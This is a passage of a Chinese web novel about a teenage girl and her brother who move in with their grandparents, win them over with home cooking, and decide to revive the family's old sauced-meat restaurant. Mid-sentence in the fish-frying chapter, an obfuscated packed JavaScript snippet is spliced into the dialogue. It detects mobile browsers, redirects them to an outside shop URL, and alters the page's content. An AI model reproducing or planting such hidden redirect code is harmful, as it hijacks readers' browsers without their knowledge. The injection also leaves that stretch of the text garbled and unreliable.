温礼香说着就哽咽了,李章儒接过话头,继续说道:“我和你妈商量过了,我们的意思呢,是想把两个孩子留在省城,就不送他们回老苏家去遭罪了,志远,雪梅,你们有什么想法?” “爸,妈,这还用您二位说吗?我也是有儿有女,当妈的人了,就听不得有人磋磨孩子,别说是志远的亲外甥亲外甥女,就算是不认识的孩子受这罪,咱们也不能这么干看着不管啊!” 李章儒的声音听起来十分欣慰:“雪梅,你是个明白事理的。你放心,我这有退休金,你婆婆也能照顾俩孩子,不会给你们添什么麻烦的。” “是,我们叫你们来,就是想着要是有个万一,你们当舅舅舅妈的,能伸把手帮衬一把就行,其他的我们能照顾,就尽量不给你们找麻烦。说起来,他们俩到底是志玉的亲生骨肉啊……” 听着温礼香又要哭起来,李志远连忙说:“妈,都是一家人,你跟我们这么客气干什么?大妹妹和大妹夫虽然不在了,不是还有我们吗?” “就是,我们一家四口,现在三口都是工人,文斌和婷婷又没结婚,再多养活俩孩子还是养得起的。再说,这些年志远总跟我们念叨,说当初要不是两个妹妹抢着下乡,他也不能留在城里,更不用说现在还能当工人了!” 提起这事,李志远就满心遗憾。 “当初的政策是多子女家庭只能留一个在城里,我是当哥哥的,于情于理都该是我下乡,可是大妹妹却说,爸妈年纪大了,爸身体又不好,家里不能没有个男人撑门户,背着咱们跟小妹一起下乡了。要不是这样,她也不会嫁到老苏家,后来更不会……” 外间几个人的声音都低了下去,时不时响起几下抽泣声。 苏棠听了半天,轻轻叹了口气。 她摸索着穿上鞋,拉开房门走了出去。 听到房门的响声,温礼香和李志远等人都抬起了头。 见她出来,温礼香连忙擦了擦眼睛,笑道:“棠棠醒了啊,是不是饿了?红烧肉做好了,姥姥去给你盛。” 苏棠摇摇头说还不饿,目光就落在屋里另外两个人身上。 那男人看起来四十岁出头,身材不算高,面相跟李章儒有五六分相似,只是少了几分书卷气,多了些敦厚朴实。 女人则是三十八九岁的样子,身体看起来很结实,浓眉大眼,一看就是个爽快的性子。 李章儒指着二人介绍道:“棠棠,这是你舅舅和舅妈,他们下班才过来的。” 苏棠露出笑容,唤道:“舅舅好,舅妈好。” 在李章儒说话的时候,张雪梅已经站起身,走过来拉住了苏棠的手。 “以前只见过照片,没想到棠棠都长这么大了,真是个好看的姑娘!”她左看右看,一副喜欢得不得了的样子,忽然想起什么又道,“不知道你们今天到,舅妈啥也没准备,改天舅妈再给你补上见面礼。” 苏棠刚才在里间听到她说话,便觉得心里暖暖的,听了这话就笑了。 “舅妈太客气了,之前小姨给我们送了那么多次钱,都是姥爷姥姥和舅舅舅妈省下来给我们的,我还没机会跟舅妈道谢呢。” 听她这么说,张雪梅对苏棠的印象更好了。 “哎哟,你看我这外甥女,多懂事,多漂亮,一笑起来跟花骨朵似的,真是招人喜欢!” 这样可爱乖巧的小姑娘,谁看了不爱啊,那老苏家人居然还舍得磋磨她,真不是东西! 说着话的功夫,苏诚也起来了,李志远和张雪梅见了,又是一顿夸奖。 温礼香把饭菜端上来,一家人坐在桌旁吃着饭,其乐融融。 于是,给苏棠姐弟俩夹菜的人又多了两个,单是那盘红烧肉,就一多半都塞进了两个孩子的碗里。 尽管如此,张雪梅还觉得不够。 “妈,明天早上我去订一只鸡,回头您记得去肉店拿,给棠棠和诚诚补补身体。” 苏诚长这么大都没这几天吃得好,单是今天就中午炒肉晚上红烧肉的,这会儿听了肉都害怕。 “舅妈,我不吃……” 只可惜他的声音太小,没说完就被温礼香和张雪梅抢着打断了。 “不吃什么不吃,看你长得这么瘦,不吃东西怎么能长好身体?” “听你舅妈的,明天让你舅妈买鸡,后天姥姥给你买鱼,一定要把你俩养得胖胖壮壮的!” 听到这话,苏棠和苏诚不约而同捂紧了自己面前的饭碗。 姥姥和舅妈的热情好可怕! 吃完晚饭,张雪梅抢着收拾了碗筷,温礼香则指挥李志远去外面搬些砖头,在里间墙边搭了个床板。 李章儒老两口住的是一个小套间,里间是一铺两米多宽的火炕,外间则是当做客厅用的,桌椅柜子,电视机,缝纫机等把小小的外间摆得满满当当,实在是没有空地方住人。 老两口平时睡在里屋炕上,靠墙那边还摆着炕琴,此刻炕上再塞个苏诚都嫌挤,苏棠毕竟是个十八岁的大姑娘了,不好再跟姥爷和弟弟挤在一铺炕上,因此温礼香让她单独睡在墙边。 温礼香拿出预备冬天用的厚实被褥,铺在板子上,然后在旁边挂了一个白底红花的床单,给苏棠隔出一个小小的私密空间。 对于刚刚在山里露宿,睡过浴池和硬卧的苏棠来说,现在能有这个条件,已经算是不错的了。 12、第012章 黄焖鸡 第二天一早,苏棠还没起,就听见外头传来说话的声音。 苏诚习惯了早起干活,这会儿已经出去了。 “姥姥,我来帮您烧炉子吧。” “哎,真是好孩子,你帮姥姥烧点儿热水,等会你姐起来了,正好让她用热水洗漱。” 苏棠听见,不好意思再赖床,拉开帘子坐起身。 炕上已经空无一人,被褥叠得整整齐齐,显然连李章儒都已经起来了。 见苏棠出来,正在挽袖子准备干活的温礼香立刻向她露出笑容。 “棠棠起来了啊,昨晚睡得好吗?” “挺好的。”苏棠看看四周,问道,“姥爷呢?” “你姥爷去给你们打豆浆了,就在前面街口那儿,很快就回来了。”温礼香见她起来,便拿起菜刀开始咣咣剁肉,“我刚去把你舅妈给你们订的鸡拿回来,这鸡是今早才杀的,新鲜得很,你们等着啊,姥姥给你们熬鸡汤,好好补补身子!” 鸡汤要小火慢炖,现在开始炖汤,中午正好喝。 苏棠想了想,说道:“姥姥,要不这鸡还是我来做吧。” “没事儿,我来做,炖个鸡汤又不麻烦!”温礼香说着话,手下动作不停。 苏棠只好说:“姥姥,我们不太喜欢喝鸡汤……” 苏诚在一旁也连连点头:“对,鸡汤不好喝!” 温礼香一脸惊讶:“什么?鸡汤不好喝?” 鸡汤又香又鲜,最是滋补的了,怎么会有人不喜欢喝? 苏诚认真地说:“我们在奶奶家经常喝鸡汤,真的不好喝!” 温礼香更纳闷了:“你们喝的是什么鸡汤?” 苏诚老老实实地回答:“二伯娘把炖过鸡肉的锅里倒上水,给我们喝,她说喝了鸡汤对身体好,可我和姐姐都不爱喝……” 听了这话,温礼香又是心疼,又是恼火。 这哪里是鸡汤,明明是涮锅水! 想到两个孩子常年喝着这样的“鸡汤”,连带对鸡汤这个词都有了心理阴影,温礼香忍不住骂了一句:“这老苏家的人,真是不干人事!” 苏棠笑着说道:“姥姥,这不算什么事儿,这鸡我来做吧,您歇着就好。” 苏诚想到吃过的叫花鸡,下意识地咽了下口水。 “对,姥姥,我姐做的鸡肉可好吃了!” 拗不过两个孩子,温礼香只好放下了菜刀。 这时李章儒拎着暖壶回来,把手里的纸包放在桌上。 “棠棠,诚诚,快来吃早饭。” 暖壶里的豆浆热气腾腾,纸包里则是刚出锅的油饼,再配上温礼香腌的萝卜条咸菜,一顿早饭吃得肚子暖洋洋的。 吃过饭,温礼香说要去扯块布给苏棠做床单和枕套,拿上钱出了门。 苏棠陪李章儒说了会儿话,进了厨房。 说是厨房,其实就在房间旁边搭了一个小小的偏厦,里面砌了锅灶,一个小炉子,再放上碗柜,就没什么多余的地方了。 见苏棠进了厨房,苏诚也跟了进去。 “姐,你还做上次那个叫花鸡吗?” 苏诚长这么大没吃过这么好吃的东西,这会儿想起叫花鸡的滋味还是念念不忘。 苏棠忍不住笑,点了点他的额头。 “有锅有灶的,还吃什么叫花鸡?” 被苏棠一口回绝,苏诚不禁面露失望。 “好吧,姐,那我来烧火。” 姐弟俩干活习惯了,配合起来也十分默契。 苏诚剥葱,洗菜,打水,添煤块,给苏棠打下手。 苏棠则把鸡肉剁成大小均匀的肉块,将香菇,青椒,土豆等配料切好备用。 等到锅烧热了,先炒糖色,再下鸡肉,加配菜,依次放入各种调料,最后倒入开水,大火收汁。 没多久,一股浓烈的香味就散发出来。 温礼香拎着一捆布回来,离得老远就闻到一股霸道的香气。 街坊邻居都探出头来,见她一副刚回来的样子,纷纷面露惊讶。 “李婶,不是你在家在做饭吗?” “就是李婶家啊,我闻着这味儿就是从你家传出来的!” “哎呀这也太香了,我长这么大都没闻到过这么香的味儿!” 连温礼香自己都不敢相信这是从自家传出来的香味,她跟邻居匆匆打过招呼,便直奔自家而去。 走到家门口,她看到李章儒拄着拐棍,正在厨房门外探头探脑。 “老头子,这真是咱家传出来的味儿?” 温礼香瞪大眼睛,目光眨也不眨地看着厨房门。 李章儒连连点头,笑着说道:“对,是棠棠在炒菜呢!” “哎哟,没想到棠棠年纪轻轻,做的菜这么香啊!” 两口子高兴之余,又不免面露心疼。 “孩子这么小,做菜的手艺就这么好,这指不定是练了多少年了!” “唉,肯定是啊,她天天给老苏家一大家子人做菜,不知道得多累呢……” 当所有人都沉醉在这诱人无比的香味中的时候,只有李章儒和温礼香想到苏棠之前受苦受累的日子。 想到这些,温礼香心里头疼得受不了,她进屋把布放在缝纫机上,立刻去了厨房。 “棠棠,你做好菜就歇着吧,其他的姥姥来做。” 苏棠抢不过老太太,只得坐在板凳上,看着温礼香在厨房里忙活。 没多久,饭菜就都做好了,温礼香推开想要帮忙的苏诚,端着一大盆鸡肉走了出来。 李家这几间房子连在一起,又临着街,温礼香从厨房出来,旁边的邻居就迫不及待地看了过来。 不是大家眼皮子浅,实在是这味道太香了,谁闻着不好奇? 看到那一大盆黄澄澄油汪汪的鸡肉,所有人不约而同地咽了下口水。 “婶子,要吃午饭了啊?” “李嫂,你家做的这是啥呀?” “这也太香了!” 温礼香高昂着头,一脸骄傲地回答:“这是我家棠棠做的,她说这菜叫黄焖鸡!” 听说是李家刚来的外孙女的手艺,邻居们更好奇了。 只是,好奇归好奇,却没人好意思来蹭饭。 这是人家外孙女给姥姥姥爷做的,他们再馋,也不好厚着脸皮上门啊。 温礼香连客气都不愿意客气一句,端着菜进了屋。 这可是她儿媳妇买的鸡,特意给两个孩子补身体的,邻居之间关系再好,也休想抢她外孙和外孙女的口粮! 没有办法,众人只能眼睁睁看着温礼香头也不回地端着鸡肉走了。 离这么老远,都能闻到鸡肉的香味,他们都不敢想,这鸡肉吃到嘴里得有多好吃! 李章儒正在饭桌上摆碗筷,一抬头就看到温礼香把菜放在桌上。 张雪梅特意订了一只最大最肥的鸡,这会儿切成块炒成菜,再加上香菇土豆等配菜,普通盘子根本放不下,竟然装了满满一盆,直接占了桌子一半的位置。 李章儒都不记得自己多少年没见过这么大的一盆菜了,手里拿着一把筷子当场愣住。 “快看,这可是棠棠亲手做的,叫黄焖鸡!” 收获了一波邻居艳羡的眼神,温礼香满心高兴。 “真是棠棠做的!我们棠棠可真能干!” 苏棠有些无语,看温礼香和李章儒这骄傲的表情,好像她不是做了一份黄焖鸡,倒像是刚刚被国家领导人颁过奖。 她从李章儒手里接过筷子,分给大家。 “姥姥,姥爷,来尝尝我的手艺。” 她先夹了一块鸡肉给李章儒,接着是温礼香。 至于苏诚,都不用人让,早就拿起了筷子,等李章儒和温礼香吃了第一口,他马上自己夹了一块。 一口下去,香得他脑袋都迷糊了。 鸡肉裹着咸香浓郁的酱汁,吃起来软嫩又香滑,鸡肉的鲜味,香菇的香味,土豆的软糯,再配上鲜美的汤汁,让人吃上就停不下来。 哪怕是年过六旬的李章儒和温礼香,吃到这鸡肉都不禁目露惊艳。 刚才闻到香味就已经让人欲罢不能,这会儿将鸡肉真真切切吃到嘴里,两个人只觉得这香味从喉间到肚腹,一路穿行而下,那种享受和满足,几乎无法用语言来形容。 棠棠这手艺,简直绝了! 一口气连吃了好几块鸡肉土豆,温礼香才想起一件重要的事。 “老头子,这么好的菜,你不喝点儿?” 连李章儒都差点儿把这事儿忘了,听温礼香这么说,顿时笑容满面。 “你真让我喝?” 温礼香一边起身去拿酒,一边笑着说:“棠棠做的这菜太好吃了,别说你,连我都想喝两口!” 话虽这么说,温礼香担心李章儒的身体,倒了一壶酒又用滚水烫过,这才拿上桌。 “棠棠,诚诚,你俩能喝点儿不?” 正在埋头苦吃的苏诚听了这话,吓得连连摇头。 “不喝,不喝。” 他在苏家从没喝过酒,不过他看到过苏老头和苏家几个叔伯,喝了酒就撒酒疯的样子,所以一听说喝酒就害怕。 见他不喝,大家也不勉强。 苏棠给自己倒了浅浅一点酒,笑着端起酒杯。 “谢谢姥姥姥爷收留我们俩,还对我们这么好,我不敢多喝,就用这一杯,敬姥姥姥爷,祝二老健康长寿!” 李章儒和温礼香喝了酒,看着苏棠一脸欣慰。 “好好,你们俩别跟姥姥姥爷客气,以后,这里就是你们的家!” “对,咱们一家人,往后都会越来越好!” 三只酒盅碰在一起,发出悦耳的响声。 13. 第013章 宝祥居 午饭后,温礼香顾不上休息,打开布匹开始裁剪。 昨天来不及,温礼香拿旧床单给苏棠铺了床,心里一直惦记着这事。 十来岁的小姑娘,正是喜欢干净的时候,用着旧床单,别说苏棠自己,连温礼香都觉得过意不去。 做衣服被单这方面的事,苏棠实在是帮不上忙,只得和苏诚一起打扫屋子卫生。 虽然温礼香身体还算健康,可两个老人自己住,总有些细节的地方顾不上,苏诚擦房门的时候看到门锁有些松动,便去问李章儒哪里有螺丝刀,想要把锁拧结实一点。 李章儒领着苏诚去了另一侧的小屋,很快一老一小就拿了工具出来。 修完了门锁,苏诚却期期艾艾地开口,提出想去杂物间住。 温礼香他们住的里间本就狭小,这回一下子多了两个人,苏棠又搭了床板占了半面墙,小小的里间连转个身的地方都没有。 再说,苏诚虽然个子瘦小,可也是个十四岁的少年了,跟温礼香和李章儒挤在一铺炕上,三个人都不敢翻身,全都睡不好。 既然决定了留在李家,就不是能对付两天的事,所以苏诚在看到杂物间还有空地的时候,就动了心思。 他的理由也很充分:“……姥姥姥爷,你们就答应了吧,反正我在奶奶家也是住在仓房里的。” 苏家的仓房四下漏风,还不如李家这杂物间结实暖和呢。 李章儒和温礼香听着心酸,又舍不得苏诚吃苦,神情十分犹豫。 “唉,也怪我们老两口不中用,你姥爷身体不好,那几年又受了些影响,早早就办了退休,学校那边也是看我们没地方住,才分了这两间小房子给我们……” 师范学院家属楼都是学校老师和家属们住的,李章儒退休早,又没赶上好时候,所以没有分到正规的住房,而是分了这两个临街的小屋。 屋子虽然不大,住老两口倒是刚好,只是一下子多了两个人,地方就不够用了。 苏棠听了苏诚的话,就去杂物间看了看。 这间屋子跟旁边的套间的格局不一样,是长方形的开间,看着足有三四十平。 只是一直没人住,这屋子的门窗都破破烂烂的了,临街的砖墙还塌了一大块,被几块木板胡乱顶住,勉强能挡些风雨。 也是因为这屋子太破,所以压根没人要,当初学校分配住房的时候,就一起都给了李章儒了。 李章儒和温礼香两个老人,只求地方够住就行,所以也不想费钱费力去收拾这间屋子。 屋里放着些不用的旧家具,工具箱,旧报纸杂志等物,两个老人平时用不上这屋子,所以也没有好好整理,显得有些杂乱。 苏棠看了看,走出来对两个老人说:“这屋子挺好的,收拾收拾就能住人,姥姥姥爷,你们不用动手,我和苏诚来干,估计半天就能收拾出来。” 至于塌掉的墙壁,现在天气暖和还可以住,回头她找个瓦匠,把墙上的缺口补好就可以了。 李章儒和温礼香无奈,只得答应了。 说干就干,苏棠先让苏诚把一些破花盆,掉了茬的锅碗,缺了腿的家具等不要的东西清理出来,以及不用的旧书报都捆扎好,送去废品站换钱,杂物间一下子就空了大半。 接着就是打扫卫生,苏棠和苏诚把剩下的的家具杂物搬出来,准备大扫除。 两人正要把墙边一个雕刻着花纹的五斗柜移出来,刚挪了一半柜子,就看见一个黑乎乎的木板从后面倒了下来,砰地落在地上。 苏棠还以为是刚才收拾屋子遗落下来的,她抬起木板准备拎出去,却看见上面有字。 她拿起抹布,擦去牌上的灰尘,露出里面金漆斑驳的三个字。 宝祥居。 看到这三个字,苏棠皱起眉头,努力在脑海中思索着。 这个名字似乎有些熟悉,但是她却怎么也想不起来在哪里听过。 苏诚把五斗柜推到屋子中央,一回头就看到苏棠正对着一个招牌苦思冥想。 “宝祥居?姐,这是什么?” 苏棠实在想不起来,便摇了摇头。 “我也不知道,走,咱们问问姥爷去。” 李章儒正在屋里调收音机,见两个孩子抬着一个牌匾进来,不由得一怔。 “姥爷,这是我俩刚收拾屋子找到的,这是什么呀?” 李章儒放下收音机,走过来,用袖子蹭了蹭上面的灰尘。 望着这年代久远的招牌,李章儒的脸上露出几分怀念。 “这个啊,是姥爷家的祖上留下来的……” 接着,苏棠和苏诚就听到了一个关于老字号的故事。 从清末开始,李家祖上就以卖酱肉为生,随着酱肉生意越来越好,宝祥居这个招牌也着实出名了好多年,那时候来江阳城的人,谁不慕名来尝尝宝祥居的酱肉和招牌菜,逢年过节送礼走亲戚,送宝祥居的酱肉更是极有面子的事。 只是后来朝代更迭,战乱四起,无数大商人大买卖都受了影响,宝祥居只是个中等规模的酱肉店,更是被各种势力盘剥欺诈,无奈之下,李家祖上只能将店铺关了门。 李章儒童年时读过私塾,算是文化人,对做生意却实在有心无力,这块牌匾传到他手里,基本也就到了头。 好在后来解放,建国初期百废待兴,李章儒凭借自己肚子里这点墨水,成为师范学院的教师,有了铁饭碗,这块老牌匾自然更是搁置不用。 到了破四旧的时候,李章儒怕受牵连,将这些老物件都送了人或是卖给了废品收购站,恰好这块牌匾被一个老街坊得了去,这位老街坊曾经是宝祥居的铁杆粉丝,对李家酱肉是念念不忘,便偷偷收藏了这块牌匾,后来这位老街坊去世,他的后人看到牌匾,想着这又不是什么值钱的东西,搁在家里又占地方,索性做个顺水人情,又送给了李章儒。 几经周折,宝祥居这个招牌到底还是回到了原主人的手中,只是再也无人记得它当年的辉煌与风光。 苏棠和苏诚听李章儒讲完了这段往事,都有些感慨。 苏棠这才想起来自己为什么会觉得这个名字耳熟,童年时候原主听父母聊天,曾经提到过几次李家祖上是做什么的,只是那时候原主太小,只隐约有些印象,到苏棠这里更是想不起来了。 李章儒一边讲着往事,一边用手帕慢慢擦拭着脏兮兮的牌匾,连缝隙里的尘埃都不放过。 等讲完了,牌匾也被他擦得干干净净。 “到底是祖传的东西,虽然不值什么钱,还是舍不得丢了,唉,可惜你舅舅他们三个,就没一个会掌勺的,宝祥居这块招牌,算是彻底完了……” 李章儒望着宝祥居的招牌,沉默了一会儿, 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温礼香忽然想到了什么,连忙说:“钱的问题你不用担心,你姥爷有退休金,你舅舅舅妈也时不时送些钱来,养活你俩肯定够用!” 要不然,他们也不能一直给苏家寄钱。 现在两个孩子到了他们身边,苏家那边就不用寄钱了,不过是家里多添两副碗筷的事,两个孩子他们还是能养得起的。 李章儒也赶紧点头:“姥爷这里还存着一些钱呢,你要是缺钱,姥爷给你们拿!” 苏棠才十八,又是个小姑娘,开什么饭馆,多累人啊。 苏棠却打定了主意,笑眯眯抱着招牌不撒手。 “姥爷,听了您的故事,我这心里特别不好受,您家祖上这样好的手艺,这样有名的招牌,要是就这么失传了,那也太可惜了!” 李章儒听得目瞪口呆,还没回过神来,就听苏棠继续说:“再说,现在政策这么好,个体户满大街都是,我就开个小饭馆,不算什么大事。” 苏棠坐到缝纫机前,靠着温礼香撒娇:“姥姥,我都十八了,总不能让您和姥爷一直养着我呀,您就让我开个饭馆吧,好歹让我有个事儿做啊。” 年轻女孩娇声软语地说着求人的话,温礼香只觉得心都要化了。 “唉,你想干就干吧,反正姥姥在家也没什么事儿,正好给你打下手!” 孩子上进是好事,他们当老人的总不能打击孩子积极性啊。 至于李章儒,见苏棠是认真的想开饭馆,心里也不由得活泛了几分。 毕竟是祖传下来的招牌,全家之中,他是最舍不得的。 “行,左右用的都是家里的东西,既然棠棠喜欢,那就让她干吧。”李章儒同意了,随即又想起来一件事,“不过,你会做酱肉吗?” “试试呗,咱们老祖宗也不是生下来就会的,也是自己慢慢摸索的嘛。再说,”苏棠抬起头,笑得眉眼弯弯,“有姥爷您坐镇,帮我试味道,总有一天,咱们能让宝祥居酱肉重出江湖!” 听到苏棠这番话,李章儒不禁心潮澎湃。 是啊,如果能让宝祥居的酱肉再次出现在老百姓面前,那他这辈子都没有遗憾了。 听苏棠的,开饭馆! 14. 第014章 五香炸鱼 祖孙三人商量得兴高采烈,一旁始终没说话的苏诚终于忍不住开了口。 “姥爷,姐,那我……我住哪儿啊?” 不是说好了收拾杂物间给他住的吗?怎么大家说着说着,就决定开饭馆了? 那屋子要开饭馆,他怎么办? 苏棠只顾着高兴,倒把这茬给忘了。 她拍了拍苏诚的肩膀,语重心长地说:“诚诚啊,这可是你姐我人生中第一次创业,难道你就不能委屈一下自己,支持一下我吗?再说,这也是咱们姥爷的心愿啊!” 苏诚挠了挠头,心底油然而生一股愧疚的感觉。 姐姐不过是想要一个破屋子开饭馆而已,难道不比他睡觉重要? “姐,是我说错话了,我支持姐,支持姥爷!”他觉得自己只口头许诺还不够,想了想又加上一句,“等店开起来,以后我就住店里,正好给你看门!” 苏棠扑哧一笑,说:“看门的事不用你操心,不过现在,你得帮姐姐把屋子收拾出来。” 既然决定开饭馆,那杂物间就要重新设计格局,以后要干的活还多着呢。 温礼香说到做到,头一天才吃过黄焖鸡,次日果然又买了一条鱼回来。 只是,看到鱼的这一刻,连苏棠都震惊了。 “姥姥,您怎么买了这么大一条鱼啊?” 温礼香一路提着鱼走回来,累得额头都出汗了。 她把鱼放在苏棠端出来的大盆里,看着自己今日的收获,脸上满是骄傲。 “今天我去得早,正好赶上这一卡车的鱼,让我抢了最大的一条回来!”她指着鱼肚子,说,“你看这大鱼肥,鱼肚上的膘至少有一指半,这种大鱼吃着才有营养呢!” 看着那占满了一个大洗衣盆,足足有二三十斤的大鲢鱼,苏棠都无力吐槽了。 “姥姥,您买鱼的时候,就没想过咱们一家能不能吃得完吗?” 家里满打满算就这么老少四口人,就算苏棠和苏诚长了个猪肚子,也吃不完这么大一条鱼啊。 温礼香这个年纪的人,买肉就习惯买油水丰厚的,别说看到这种难得一见的大鱼,就算看到肥膘厚实些的猪肉,都要不管不顾地下手抢。 只是,家里又没有冰箱,这些鱼肉吃不完,要怎么保存呢? 温礼香压根就没考虑那么多,直接摆了摆手。 “你别操心这些,咱们挑好肉吃,吃不完明天再吃呗。” 不就是一条鱼,今天吃两顿,明天吃两顿,小意思。 宁可剩下,也绝不能让苏棠和苏诚再吃不饱肚子! 苏诚没见过这么大的鱼,一直蹲在大盆旁边看,满脸都是新奇。 “吃鱼好,鱼骨头好吃!” 以前在苏家,苏家人吃完饭,经常会剩下一些鱼头和带着碎肉的鱼骨头没人吃,所以苏诚觉得,鱼比鸡好吃多了。 苏棠拿这一老一小没办法,只好去打水。 “姥姥,要不咱们做炸鱼吧,油炸的还能多放几天。” 只要苏棠爱吃的,温礼香没有任何意见。 “行啊,你把鱼洗洗,姥姥来剁鱼块。” 苏诚帮苏棠去打水,姐弟俩合力把鱼收拾干净,抬到桌子上。 这鱼太大,菜板都放不下,温礼香提前拿出家里做面食的案板,才堪堪放下一整条鱼。 苏诚去杂物间找出斧头洗干净,温礼香握着斧子,把鱼头鱼身大卸八块。 再按照苏棠的要求,将鱼肉切成两寸左右的肉块。 温礼香和苏诚剁鱼的时候,苏棠则在调面糊。 面糊调好,加入盐和五香粉等各种调料搅拌均匀,再起锅烧火,倒上一大锅油。 把大小均匀的鱼肉块裹上面糊,就可以下油锅炸了。 苏诚帮着添煤块推风箱,温礼香在鱼肉块上裹面糊,苏棠亲自掌勺,很快一块块金黄色的炸鱼出了锅。 整整做出两大盆炸鱼,苏棠才停手。 温礼香和苏诚一人端了一盆,走出了厨房。 炸鱼的香味比昨日的黄焖鸡更加浓烈,早在炸鱼的时候,油香味就飘了满街,别说隔壁邻居,连路人都忍不住停下脚步,站在李家外头贪婪地呼吸着这喷喷香的空气。 等到两大盆炸鱼出现在厨房门外,邻居们都炸开了锅。 “这是炸鱼吗,咋这么香?” “今天早上我看见李嫂买了那么大一条鱼,怕不得有二三十斤?这么多……全都炸了?” “李婶儿,你家炸了这么多鱼?这得用多少油啊!” 温礼香昂着头,一脸地毫不在意。 “我外孙女爱吃,就算用十桶油,我也乐意!” 眼看着两盆黄澄澄的炸鱼被端进了屋,大人们还好,小孩子却忍不住了。 “妈,我也要吃炸鱼!” “奶奶,咱家的鱼也这么做呗!” “好香啊,妈,我要吃鱼!” 几家离得近的孩子闻到这诱人的香味,馋得直咽唾沫。 各家大人本来就馋,见孩子纷纷闹起来,都没什么好声气。 “吃吃吃,你就知道吃!作业写完了吗?” “想什么美事呢?要是炸这么一顿鱼,咱家这个月都别想用油了!” “吃什么鱼,我看你像个鱼!” 各自把流口水的娃拎回家,邻居们都十分郁闷。 这一天天的,不是吃鸡就是吃鱼,还让不让他们活了? 这两大盆炸鱼,李家四口人自然是吃不完的,可这是苏棠亲手做的鱼,温礼香实在舍不得送给外人。 到了晚上,李志远和张雪梅来了。 “爸,妈,我给你们送东西来了!” 李志远蹬着一辆三轮车,停在李家门外。 苏棠他们迎出来,看到两人正在从车上卸东西。 “妈,我买了一张床,正好给棠棠睡。” 那天晚上李志远见棠棠睡的床铺就是几块砖头垒起来搭上板子,回去便到处打听谁家有不用的床,直到找到废品收购站,才找到一张旧床,今天下了班就连忙送过来了。 这年头买新家具不容易,大家都是有旧的就用旧的,没人嫌弃。 尤其是李志远买的这床,看起来像是老物件,床头板上还雕刻着花纹,苏棠一看就喜欢上了。 “谢谢舅舅舅妈,这床真好看!” 李志远和张雪梅见她要上前帮忙,赶紧说:“棠棠你去一边歇着,我俩搬就行!” 两人合力把床板搬进里屋,又用工具把床组装好。 “行了,这床还挺稳当,棠棠,你先用着,以后有好的,咱再换!” 温礼香试了试,觉得这床比之前的床板稳很多,也不会咯吱作响,不由得点头。 “挺好,你俩洗洗手吃饭去吧,我来铺床。” 这实木床分量不轻,李志远一路搬过来,也确实有点累。 “妈,饭我俩就不吃了,这三轮车是跟收购站借的,得赶紧给人还回去。” 张雪梅从车上拿出一个大包,放在外间凳子上。 “棠棠,诚诚,这是舅妈给你俩带的东西。”张雪梅一边说,一边打开包裹,“这皮鞋是我们厂里处理的瑕疵品,我估摸着你俩的尺码,拿了两双,还有几双布鞋和解放鞋,都是新的,你俩平时穿着方便点。” 张雪梅又拿出一大摞衣服,对温礼香说:“妈,这是文斌和婷婷前几年穿过的,我挑好的拿过来几套,您看着改改,给棠棠他俩穿。” 苏棠和苏诚从苏家穿来的衣服被温礼香烧了,现在穿的还是李章儒和温礼香的旧衣服,既不合身,颜色又老气,张雪梅那天看见,就留了心。 苏棠和苏诚赶紧道谢,温礼香见儿媳细心,也十分欣慰。 “你俩吃口饭再走,今天棠棠炸了鱼,可好吃了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13794320|145935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李志远一边擦汗,一边摆手。 “真不吃了,外面天都快黑了,得赶紧把三轮车给人家送回去。” 温礼香留不住他俩,只得拿出搪瓷盆给他们装了一堆炸鱼,叫他们带回去吃。 两人急着走,也没在意,拎着就走了。 见李志远蹬上三轮车,温礼香忽然想起一件事,连忙追了几步。 “对了志远,你这几天有空儿给志兰打个电话,告诉她一声儿,说棠棠和诚诚在咱们家呢!” 听苏棠和苏诚的话,两个孩子是偷偷跑出来的,李志兰前几天刚给他们打过电话,给他们报平安,现在可能还不知道苏棠和苏诚已经离开苏家了。 要是李志兰知道苏棠和苏诚不见了,指不定得多着急呢。 李志远脚下蹬着车轮没停,向后招招手,示意听见了。 送走了李志远两口子,温礼香折回屋,翻看张雪梅送的东西。 苏诚看到那几双崭新的鞋,尤其是那双皮鞋,简直不敢相信自己的眼睛。 “这么好看的鞋,是给我们的?” 他们在苏家自然不会有新衣服鞋子穿,就算有,乡下人也很少有穿皮鞋的。 在苏诚的印象里,连苏老头和苏家的伯伯叔叔都没穿过皮鞋,更别提他自己了。 温礼香笑着拿出皮鞋,给苏诚试穿。 “棠棠,你也试试。你们舅妈在鞋厂工作,买鞋比外头方便,还便宜,你们放心穿。” 苏棠试了试那双女士小皮鞋,十分合脚。 张雪梅毕竟是鞋厂的工人,谁穿多大的鞋,看一眼就心里有数了。 说是瑕疵品,其实无非就是走线有点儿歪,鞋面有轻微划痕之类的小毛病,不仔细根本看不出来。 张雪梅又是挑瑕疵轻的鞋拿的,比如鞋面划痕这种小瑕疵,多打点鞋油就完全可以遮盖住了。 苏棠这双鞋应该是小羊皮做的,款式简洁大方,穿在脚上又轻又软。 那边苏诚也换上了鞋,他长这么大,几乎从没穿过合脚的鞋子,更是头一次穿新鞋,这会儿都不知道该怎么走路了。 还是温礼香扶起他,让他试着走几步,他才小心地站起身。 他所有的注意力都在脚上这双锃亮的皮鞋上,连动作都不由自主地变得笨拙,见他像企鹅一样一摇一摆地走路,李章儒和温礼香都忍不住笑了起来。 试过了皮鞋,苏棠又试了试布鞋。 这布鞋是没有瑕疵的,应该是张雪梅利用员工福利换来的,藏蓝色的鞋面绣着简单的花纹,款式好看,穿着走路更是十分舒适。 苏诚实在不敢穿皮鞋,最后还是觉得穿解放鞋更舒服。 穿过鞋子又试衣服,温礼香给他们俩量了尺寸,又拿旧衣服比较一番,用粉笔划上线,准备明天就开始旧衣改造。 李家那边欢乐又忙碌,这边李志远和张雪梅把三轮车送回收购站,便回了家。 他们的女儿李婷见他们进屋,连忙迎了上来。 “爸,妈,你们怎么才回来?” 张雪梅一边洗手,一边说:“给你大姑家那俩孩子送东西去了,你今天回来得挺早啊。” 